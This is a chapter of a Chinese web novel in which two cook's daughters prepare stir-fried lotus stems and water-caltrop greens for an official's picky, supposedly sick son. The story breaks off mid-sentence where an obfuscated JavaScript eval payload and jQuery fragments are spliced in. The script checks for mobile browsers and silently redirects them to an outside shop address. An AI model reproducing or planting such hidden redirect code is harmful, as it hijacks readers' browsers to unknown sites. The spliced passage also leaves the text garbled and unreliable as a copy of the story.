两人作伴出门,有人一同闲聊便觉不出时间的长短。不多久,马车在光禄寺卿府前停下。
苏诣在前面与门口的仆从说话,苏有青跟在后面下车。她抬眼看向门头与那一对抱鼓石,似乎与旁的高门大户也没多大差别。
仆从听闻是苏府派来的人,直接领着二位往里走,还说主子早已吩咐过,苏府若是来人则不必通报。
“主君,苏御厨派了人来。”仆从带着苏诣与苏有青去了膳房的院子。这几日里,孙运浩只在府中两处扎根,一是孙家小哥的卧房,还有一处便是这膳房。
孙运浩前脚方回府,未曾想苏火阳动作这么快。他满脸笑意地循声寻人,瞧清来人后却愣住了:“你们是......?”
苏诣作揖道:“我是苏御厨家长女苏诣,这是小妹苏有青。母亲一时忙得抽不开身,又怕孙大人这边等得着急,便遣我与小妹过来先看两眼。母亲已告知我们令郎的病症,不知令郎素日里爱吃些什么?”
孙运浩本不满苏火阳只让两个女儿过来敷衍他,听着苏诣说话周到,便也作罢。他叹了口气道:“他爱吃的都是现下吃不了的,应着做也没用。你们且看做什么合适吧。”
“好,那我们先去厨下看看。”苏诣道。
苏有青没多作声,默默跟着苏诣进了厨下。
她微微垂头,余光瞟见有不少人靠在门边闲聊。孙大人当真求来了不少厨司。
见孙运浩又带了两人进来,有人悄声问身旁人:“那二位又是哪个酒楼的厨司?”
有知情人道:“可不是酒楼厨司,是苏火阳家的俩丫头,我前段时日见过。今年的新厨小试里,她俩成绩都不错呢。”
那人笑说道:“苏家的大小姐我听说过,城中厨司都知道她厉害。但不是说小的那个从不碰锅灶吗,不知这句‘不错’有几分客套?”
另一人答:“并非客套。大小姐是头筹不假,那二小姐也是第三。”
那人状似恍然大悟:“那便是苏火阳的不厚道了,这等比试也敢提前支会旁人。”
苏诣没听到这番对话,规规矩矩地同各位前辈行礼。
苏有青素来耳朵灵,却也装作没听到,轻轻点头便当是打过招呼了。
孙运浩同苏诣说道:“膳房里的东西都随便用。”
苏诣应下后,他便去同旁人讲话了。
苏有青仍在耳听八方。灶台边,有厨司无可奈何道:“依我看,那孩子压根就是挑刺。怎会有人不觉茱萸味辛,却觉青菜剌口?”
苏有青还想听听其余人的回话,却被苏诣拉去了旁处。
“来这边看看。”她拉着苏有青去了案台的菜堆前。
苏诣低声道:“我方才听见有厨司说这边有她们不认识的菜杆,莫非就是这个?说是只有混着绿色和紫色的茎,没有叶片,模样像是细菜根。”
苏诣话说一半,又被菜杆旁的藕肠吸走了视线:“你觉得炒个藕肠如何?”
在外还是需安分些,苏有青道:“应该不错。”
若是在自家府中,她就该说“吃肠补肠”了。
苏诣本就想正经料理这事,便认真与苏有青讨论道:“是炒软和点为好还是脆爽些?可以多烹些醋,酸味或能开胃,只是不知那孙家小哥是否爱吃酸味。”
论起做菜,苏有青不管小哥喜好,只看好吃与否:“要我说,这藕肠制成酸辣些的泡菜最佳,只是要泡久些才更有味。”
苏诣明白了,苏有青就是来凑热闹的:“肠胃本就不适,如何能吃生冷之物?”
苏有青反倒被说得生了思路。她拎起一旁小小的藕头,轻轻上抛,掂了掂分量。
只一小节嫩藕,掂着有些重量,应当是节水分充足的脆藕。
“这种嫩藕,只是简单炒熟反倒有些亏。”苏有青同苏诣说。
苏诣不解:“这瞧着也不是粉藕,不炒熟还能炖汤不成?”
苏有青道:“将这嫩藕切作薄片,再用碎糖拌了,渍上一个时辰是最好吃的。再过些时日到盛夏,吃这糖藕片还能清凉些呢。”
苏诣觉着新鲜:“还是头一回听闻这种吃法。”
苏有青应得迫不及待:“回去便做与你尝尝。”
苏有青本不欲做些什么,进了厨下后却又改了主意。冷食确实不妥当,她便将藕节放回了原处。
苏诣作势要换处地方,同苏有青说道:“你继续看吧,我先去瞧瞧旁的菜。”
见苏诣已走远几步,苏有青抓起一旁“好多厨司都不识得”的菜杆。
她翻过手掌,将那“菜杆”摊开后细看,又用另只手捻起了一根。
再凑近闻闻气味,苏有青心中已了然。她暗想道,这孙大人派去的人也着实是下了些功夫。
方是初夏的光景,虽说白日里已偶有小热,却也还没到芒种时候,更不是菱角收获的时候。做事的人能摘来的这些菱角菜,怕是见着浮叶就一股脑打捞,也不知剩余的菱角还能否长成。
苏有青以前便爱吃这菱角菜,可惜不易买到。需得种菱角的人家摘过了菱角,再将剩余还嫩的细长根茎捞出来。
捞出是一码事,还得那水田人家舍得卖才行。各家都不够吃的好菜,她与常打交道的摊贩混熟了,每年夏天也买不走多少。
菱角菜的时节与收成皆挑剔,想吃进嘴里也非易事。将这菜买回家后,需择下叶片与老根,只留下嫩些的部位,还需细瞧着洗掉黏附的淤泥与旁的水草,这才轮到料理的部分。
虽说过程略显繁杂,但苏有青还是爱吃。苦夏没甚胃口时,将这菱角菜切碎,放些蒜瓣与红椒炒得喷香,会是极好的下饭菜。
旁人不认识这种菜便也不伸手,刚好苏有青对着旁的菜也生不出想法,干脆拿上去找锅灶。
不论那挑嘴小哥吃不吃,至少显得她会翻勺。若是有用则更好,孙大人也不必再去烦苏火阳。
孙家膳房的下人做事得当,已提前择洗过这些菱角菜,省了苏有青不少事。
正等着锅中水沸,苏有青趁这功夫又舀来一盆凉水,就放在锅边。
锅中渐起了小气泡,未及水面便消失。待到气泡渐大生出水汽,苏有青往锅里加了点油与盐,将菱角菜倒进锅中。片刻后,她夹起去了涩味的菜,放入一旁的冷水里。
这边的菱角菜暂且休息,苏有青转头切了杆蒜苗、拍碎几粒蒜子备用着。
待菜冷却,她团起一把缠绕的杆茎,用力攒压,将水挤尽,才将那团变为褐色的菜茎搁到案板上。
再将菱角菜细细切碎,便能起锅烧油了。
苏有青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278936|198329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往锅中倒入菜籽油,等到生油气味散去,再趁油热爆香蒜末。
灶前满是被激起的香味,她将菱角菜碎与蒜杆一同倒进锅中,几下翻炒后再照着分量加些盐与酱之类的常见调味。
只需普通的炒制,再将剩余的蒜叶加进菜里炒至断生,这盘下饭菱角菜便能出锅了。
苏诣要做的炒藕肠也已装盘。她正想瞧瞧苏有青在做什么,便恰好被香气引着走过来了。
“这是何菜?我仿佛没见过,不过闻着倒香。”苏诣道。
苏有青却说:“就是你方才瞧见的那堆‘菜杆’。”
苏诣满是讶异:“你怎么晓得这菜是如何做的?”
苏有青笑说道:“我也不知道,算是连蒙带猜做成的吧。方才我闻那菜杆似乎有股香气,掐了把又觉得挺嫩,想来这样炒熟会更香。”
苏诣一脸赞同:“闻着可香呢,我那边还有人在找是什么味道。”
苏诣唤来仆从,让人将这两盘菜端去给孙家小哥尝尝。
然而片刻功夫,孙大人还是愁容满面地回了厨下。
“唉,还是不吃。”孙运浩直摇头。
一抬头,他瞧见苏家姐妹俩就在边上,赶忙找补到:“不过二位确实厨艺精湛!那小子方才只是不愿多吃,却也没让人撤走。”
苏有青觉得奇怪:“可以问问令郎不满于何味吗?他可以直接告知厨司喜好何味。”
犹豫过后,孙运浩道:“也罢。好在他今日精神好了不少,若像前些时日的病重,可没那心力见客。”
话毕,他又道:“请随我来。”
苏有青与苏诣跟在孙运浩身后,还没进门便远远听到了喊叫声,似是在斥责旁人。
然而真进了屋,苏有青只看到一个大物斯斯文文地靠在床边,并无言语。旁别的小厮也安静地低着头。
她腹诽道,这孙家的桌子竟会说话。
孙运浩对着爱子一阵嘘寒问暖,过后才介绍道:“这两位是我特意从苏家请来的厨司。她们想问你平日口味有何偏好,这才好做出些你乐意吃的菜。”
孙家小哥这时候说话倒有些含糊不清:“我又不挑剔,无非爱吃些好吃的与有味的。”
他又努努嘴,指向桌上那两盘:“这俩都没味,闻着还想吐。”
苏有青本意真有些好奇,现下是懒得问了。
矮了一截的菜,边说边吸气的鼻子,那小哥嘴里尽是些装蒜话。
她贴心地说道:“既如此,快把这两盘菜撤了吧,万一闻得更不适可如何是好?”
孙运浩被提醒到,手连连比划:“对对,赶紧的,还愣着干嘛呀!”
“就这么放着!”小哥见仆从伸手,嚷了起来,精神头倒不似病者,“我这病是喜静不喜人多,你们都快走才是!”
苏诣与苏有青对视一眼后道:“那我们边先行离开了。”
苏有青本就在憋笑,不想一脚刚迈过门槛,便听到身后一句“哎呀宝贝,你终于愿意吃了。对对,就这样大口喝粥吃菜。”
出了屋,苏有青悄声说:“原来赶我们走是憋不住饿了吗?”
苏诣笑说道:“又或许是咱们手艺好呢。”
苏有青并不信旁的厨司便是技艺不足:“也或许骂一顿比寻厨司更管用呢。”